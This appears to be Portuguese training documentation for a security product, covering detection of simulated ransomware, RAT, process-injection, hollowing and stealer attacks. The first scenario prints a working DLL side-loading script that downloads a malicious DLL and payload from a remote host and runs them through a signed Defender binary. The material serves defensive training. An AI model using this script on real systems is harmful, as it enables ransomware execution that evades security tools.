Cenários

Cenário de Treinamento - Injeção de DLL

Nome do Grupo

Dados de Treinamento - Injeção de Dll (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware criptografada por meio de injeção de DLL em um MS Defender assinado. Uma DLL personalizada foi criada, da mesma forma que um invasor a criaria, que descriptografa um arquivo .log falso e o executa.

Muitas ferramentas de segurança simplesmente ignoram processos iniciados por um processo pai assinado, particularmente um antivírus assinado, e mais particularmente ainda o Defender. Os comandos do Defender não são apenas frequentemente permitidos, mas também costumam ser extremamente privilegiados. Aqui, o comando que é transformado em arma é uma atualização de assinatura, algo que não é apenas comum, mas seria ignorado em qualquer tipo de busca por malware. Aqui demonstramos que, mesmo com técnicas simples de "living off the land", um invasor pode executar cargas úteis privilegiadas ao preparar um script simples sem ferramentas de injeção personalizadas na máquina.

Aqui está o script exato executado na máquina da vítima. Observe como nada explicitamente malicioso está acontecendo; copiar o(s) executável(is) do defender para um diretório de preparação é feito apenas para destacar os arquivos C:\staging na análise de causa raiz.

mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate

Detalhando linha por linha:

  1. Diretório de preparação criado

  2. Defender copiado para o diretório de preparação

  3. O mpclient.dll real é renomeado

  4. Um arquivo de "log" criptografado e uma DLL maliciosa são baixados de um servidor remoto

  5. O MpCmdRun real e assinado é executado com a tarefa de atualização de assinatura

MpCmdRun.exe
MpCmdRun.exe

Identificando isso

Automated Response
Resposta Automatizada

Começando pela resposta automatizada, os alarmes soariam em sua cabeça. Algum processo nunca antes visto, com um nome de GUID aleatório, foi executado e acionou o Cyber Crucible, e não assinado. No entanto, observe que o caminho aqui poderia facilmente ser algo com aparência um pouco menos assustadora. Foi intencionalmente deixado como C:\staging para destacá-lo.

O próximo passo imediato seria encontrar esse arquivo e descobrir como ele chegou lá. Provavelmente, ele foi excluído automaticamente, mas podemos consultar as criações de processos do Cyber Crucible para ver quem o executou em primeiro lugar.

Powershell → MpCmdRun → {7374F…}
Powershell → MpCmdRun → {7374F…}

Assim como descrito no cenário acima, um script powershell iniciou um executável do defender, que iniciou nosso processo assustador. A carga útil maliciosa então iniciou muitos processos filhos para realizar várias tarefas de preparação. A visibilidade sobre esses processos em segundo plano frequentemente fornece informações sobre arquivos criados no sistema, chaves de registro modificadas, atividade de propagação (worming), etc.

Otherwise “invisible behavior”
Comportamento de outra forma "invisível"

Neste ponto, o ataque foi contido pelo Cyber Crucible, mas a análise dos processos relacionados é importante para identificar o escopo dos comportamentos maliciosos. A execução do exe não assinado por si só parece óbvia quando exposta pelo Cyber Crucible, mas muitas vezes processos em segundo plano iniciados por algo tão privilegiado e protegido quanto o Defender seriam simplesmente ignorados.

Documentação relevante

Cenário de Treinamento - Ransomware Vanilla

Nome do Grupo

Dados de Treinamento - Ransomware Vanilla (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware "vanilla", em execução como administrador sem nenhum exploit. Isso simula o exemplo básico de um usuário baixando malware por meio de um link de phishing, USB malicioso, etc.

Embora este seja um método de execução muito simples, se a carga útil for um zero day, ela ainda passará despercebida por produtos de segurança baseados em assinatura, e poderá causar danos irreparáveis antes que produtos comportamentais baseados em nuvem consigam obter uma análise.

Identificando-o

Automated Response
Resposta Automatizada

Identificar este incidente é o mais fácil de todas as amostras. Assim que o nome de arquivo suspeito em um arquivo sem assinatura é percebido, isso já é um sinal de alerta imediato.

Para confirmar o método de execução, podemos analisar as criações de processos em torno do horário do incidente. O que vemos confirma que não houve um método de exploit complexo, nem mesmo um script! Assim como em outras amostras, as criações de processos filhos são interessantes, no entanto. Mesmo que o método de execução do próprio malware fosse óbvio, muitos processos em segundo plano são iniciados para desativar proteções e outras configurações do sistema.

Neste ponto, o ataque já foi contido pela Cyber Crucible, mas a análise dos processos relacionados é importante para determinar o escopo dos comportamentos maliciosos. A execução do exe não assinado, por si só, parece óbvia quando apresentada pela Cyber Crucible, mas muitas vezes processos em segundo plano iniciados por algo tão privilegiado e protegido quanto o Defender simplesmente seriam ignorados.

Documentação relevante

Cenário de Treinamento - Ransomware Assinado

Nome do Grupo

Dados de Treinamento - Ransomware Assinado (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware, em execução como administrador, e com uma assinatura personalizada. Este cenário não é muito diferente da amostra ‘vanilla’, mas utiliza um executável assinado.

Frequentemente, executáveis assinados são tratados como se estivessem verificados como benignos. Embora seja verdade que todo software certificado deveria ser assinado, esta não é uma relação bidirecional, e não devemos confiar em algo apenas porque está assinado. Infelizmente, às vezes esse erro é cometido.

Identificando isso

Além do fato de que este nome de certificado é um tanto estranho para fins de treinamento, como o Cyber Crucible sabe que não é confiável? O Cyber Crucible age com cautela e mantém uma lista (específica do grupo) de certificados confiáveis. Isso significa que podemos facilmente identificar certificados de teste de assinatura, bem como certificados oficiais de grandes ACs como a digicerts.

Podemos ver acima que, mesmo que o arquivo “321d0…” esteja assinado, ele ainda não é confiável. Como não há outras técnicas de ofuscação complexas usadas para implantar o ataque, sabemos exatamente de onde ele veio!

Para confirmar o método de execução, podemos analisar as criações de processos ao redor do horário do incidente. O que vemos confirma que não houve nenhum método de exploração complexo, nem mesmo um script! Assim como em outras amostras, as criações de processos filhos são interessantes. Embora o método de execução do próprio malware fosse óbvio, muitos processos em segundo plano são iniciados para desativar proteções e outras configurações do sistema.

Neste ponto, o ataque foi contido pelo Cyber Crucible, mas a análise dos processos relacionados é importante para determinar o escopo dos comportamentos maliciosos. A execução do exe não assinado, por si só, parece óbvia quando exposta pelo Cyber Crucible, mas muitas vezes processos em segundo plano iniciados por algo tão privilegiado e protegido quanto o Defender simplesmente seriam ignorados.

Documentação relevante

Cenário de Treinamento - Enumeração de Dados

Nome do Grupo

Dados de Treinamento - Exfiltração via RAT (Quasar)

Cenário

Neste cenário de treinamento, executaremos um RAT na máquina vítima e o utilizaremos para enumerar os dados no disco, com o objetivo de exfiltrar arquivos.

Embora este não seja um ataque de ransomware, os comportamentos utilizados pelo RAT se enquadram no conjunto de comportamentos de extorsão de dados que a Cyber Crucible detecta. A resposta ao incidente, e os dados relacionados, são muito semelhantes aos da resposta a uma carga útil de ransomware, pois para a Cyber Crucible, é tudo a mesma coisa!

Identificando

Este executável parece um pouco estranho, mas está no system32 e está acionando respostas repetidas. É necessária uma investigação mais aprofundada para descobrir o que aconteceu aqui. Podemos começar procurando por caminhos filhos relacionados ao caminho de resposta.

Aqui obtemos mais algumas evidências para a história. Um usuário executou o client-build.exe a partir da área de trabalho, que é o dropper do RAT. Em seguida, parece que ele eleva privilégios por meio de um svchost. Ainda há algumas peças faltando no quebra-cabeça, no entanto. Como sabemos que isso é um RAT e não apenas algo interagindo com o svchost?

Isso abre muito mais visibilidade! Não só sabemos com certeza que alguma atividade suspeita está ocorrendo, e quais caminhos estão relacionados, mas também sabemos que uma persistência está sendo criada. E ainda vemos que estamos lidando com o Quasar, um RAT bem conhecido.

O Quasar é um RAT sofisticado, e realiza a maior parte de seu comportamento dentro de seu próprio executável, optando por trazer suas próprias bibliotecas compiladas estaticamente em vez de usar os utilitários padrão do Windows para muitas coisas. Mas mesmo o Quasar é flagrado usando ferramentas como o schtasks.

Documentação relevante

Cenário de Treinamento - Injeção de Processo

Nome do Grupo

Dados de Treinamento - Injeção de Processo (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware por meio de injeção de processo em um Svchost.exe já em execução. O Svchost em questão é uma operação normal do sistema, em execução há muito tempo, assinado e sob a conta de usuário LocalSystem.

Como o Svchost é ‘real’, ele é frequentemente ignorado. Os administradores sabem que muitas instâncias do Svchost são executadas, e desde que os argumentos do programa pareçam corretos, ele é tratado como uma “caixa preta” e deixado de lado. Esta é uma brecha óbvia, e frequentemente explorada, para que hackers tirem vantagem. Combinada com uma carga útil de dia zero, essa abordagem é muito bem-sucedida em ofuscar ataques de ransomware.

Identificando-o

svchost.exe’s Cert Signer(s)
Assinante(s) do Certificado do svchost.exe

A situação em torno dessa resposta automatizada não é diretamente aparente à primeira vista. Os argumentos de linha de comando parecem válidos para o Svchost, e o executável é assinado pela Microsoft.

O fato de haver uma thread remota não confiável é suspeito, mas requer mais investigação. Muitas threads remotas acontecem em um sistema, mas a maioria permanece “confiável”, pois são usadas para comunicação normal entre processos, compartilhamento de dados, etc.

Quando uma thread remota é criada em um processo de forma anormal, e é marcada como não confiável, é onde precisamos examinar com mais rigor.

Innocent Process Injections that occur normally
Injeções de Processo Inocentes que ocorrem normalmente

Para filtrar as muitas injeções de processo que ocorrem em um sistema a qualquer momento, podemos nos referir tanto ao horário do incidente quanto ao pid do processo sinalizado. Normalmente, começaremos com alguns pids de respostas suspeitas e subiremos na cadeia de injeções e criações para obter a história completa.

Filtering out irrelevant injections
Filtrando injeções irrelevantes
The smoking gun!
A prova irrefutável!

Já sabemos que ninguém deveria estar injetando no Svchost dessa maneira, mas definitivamente não este processo! A partir daqui, podemos tratar esse processo como se fosse “malware.exe” e ver quem o executou, já que alguém deve tê-lo feito.

Processes started with pid 9168
Processos iniciados com pid 9168

Como houve duas criações de processo com pid 9168, e elas são muito diferentes, podemos restringir com base no timestamp e/ou no caminho do processo filho, e ver que foi criado por um explorer.exe. Isso significa que alguém executou manualmente o processo injetor, e não pode ser uma coincidência de comportamento do Svchost sinalizado incorretamente.

Documentação relevante

Cenário de Treinamento - Modificação de Memória

Nome do Grupo

Dados de Treinamento - Process Hollowing SQL (Hive)

Cenário

Neste cenário de treinamento, executaremos uma carga útil de ransomware por meio de process hollowing, uma técnica de injeção/evasão em que um processo é iniciado e tem seu código executável modificado para realizar algum outro comportamento.

Técnicas em memória estão entre as mais difíceis de detectar, e ainda mais difíceis de ter uma resposta automatizada, portanto muitas vezes são ignoradas. A memória é, por definição, volátil e está sempre mudando. Identificar alterações na memória de um processo requer identificar as seções relevantes e avaliá-las em diferentes momentos do ciclo de vida de um processo, para verificar se houve adulteração.

Identificando

As respostas de memória modificada são, de longe, as mais difíceis de inspecionar. Como a memória é efêmera, ela é tratada como uma "caixa preta" e frequentemente mantida à distância. A boa notícia é que, a partir do Cyber Crucible 4.4.1.3, agora temos a capacidade de coletar automaticamente telemetria de amostras de memória modificadas, identificando quais intervalos de memória foram modificados e as alterações exatas realizadas neles.

Esse tipo de análise, no entanto, é muito trabalhoso de realizar, então um bom primeiro passo é verificar os processos relacionados no painel para ter uma ideia do comportamento associado. Como o processo em questão aqui é um SQLCMD.exe assinado, deve ficar evidente rapidamente se se trata de um processo SQL benigno ou de algo pior.

Até agora, tudo bem, apenas processos SQL normais, nada necessariamente suspeito ou não. No entanto, nunca gostamos de ver CMDs envolvidos em respostas automatizadas. Vamos investigar um pouco mais.

A prova definitiva!
A prova definitiva!

E aí está! Podemos continuar rolando a tela e ver cada vez mais comportamentos como esses. O SQLCMD.exe está executando todo tipo de comando para desativar serviços, alterar configurações e tudo o que um ransomware faria de forma preventiva.

Aqui podemos ter uma pequena noção do que nos espera quando começamos a nos aprofundar e analisar as diferenças de memória. A maior parte das técnicas sofisticadas o suficiente para realizar malware totalmente em memória também ofuscará seu código na memória. Isso torna a análise extremamente difícil, mas o acesso à telemetria adicional já se mostrou inestimável para a identificação de incidentes, bem como para o ajuste de comportamento

Documentação relevante

Cenário de Treinamento - Roubo de Identidade

Nome do Grupo

Dados de Treinamento - Roubo de Identidade (Redline)

Cenário

Neste cenário de treinamento, executaremos um malware do tipo “stealer” para realizar a primeira etapa de um ataque, o roubo de credenciais. Diferente do cenário de RAT, este não utiliza os mesmos comportamentos que o ransomware. Em vez disso, faz parte das crescentes capacidades de proteção de identidade da Cyber Crucible.

Frequentemente, antes mesmo de ocorrer uma extorsão, os primeiros passos que um atacante realiza são se propagar pela rede e obter acesso ao maior número possível de credenciais. Em alguns casos, trata-se de uma combinação de nome de usuário/senha do AD; em outros, são chaves de API capturadas de sessões de navegador.

Identificando

Por ora, vamos analisar como o acesso anormal se apresenta ao administrador.

Os acessos a dados de identidade são muito claros e objetivos: se os administradores não reconhecem um programa, ele não deveria estar acessando esses dados! Isso já se destaca imediatamente como algo suspeito.

Qual é o outro lado disso que o atacante vê? Texto puro!

Essas respostas não são como as respostas de eventos tradicionais de extorsão de dados, portanto não são ações de suspensão automática. Em vez disso, são mais semelhantes a injeções de processo, nas quais a Cyber Crucible não interferiu. À medida que nossas análises têm evoluído, aprendemos como é o acesso “normal” a repositórios de identidade para diversos tipos de aplicações. Até 2023, habilitaremos nosso recurso de proteção, que restringirá o acesso, em nível de kernel, a diversas formas de bancos de dados de identidade, permitindo o acesso apenas ao software associado.

Documentação relevante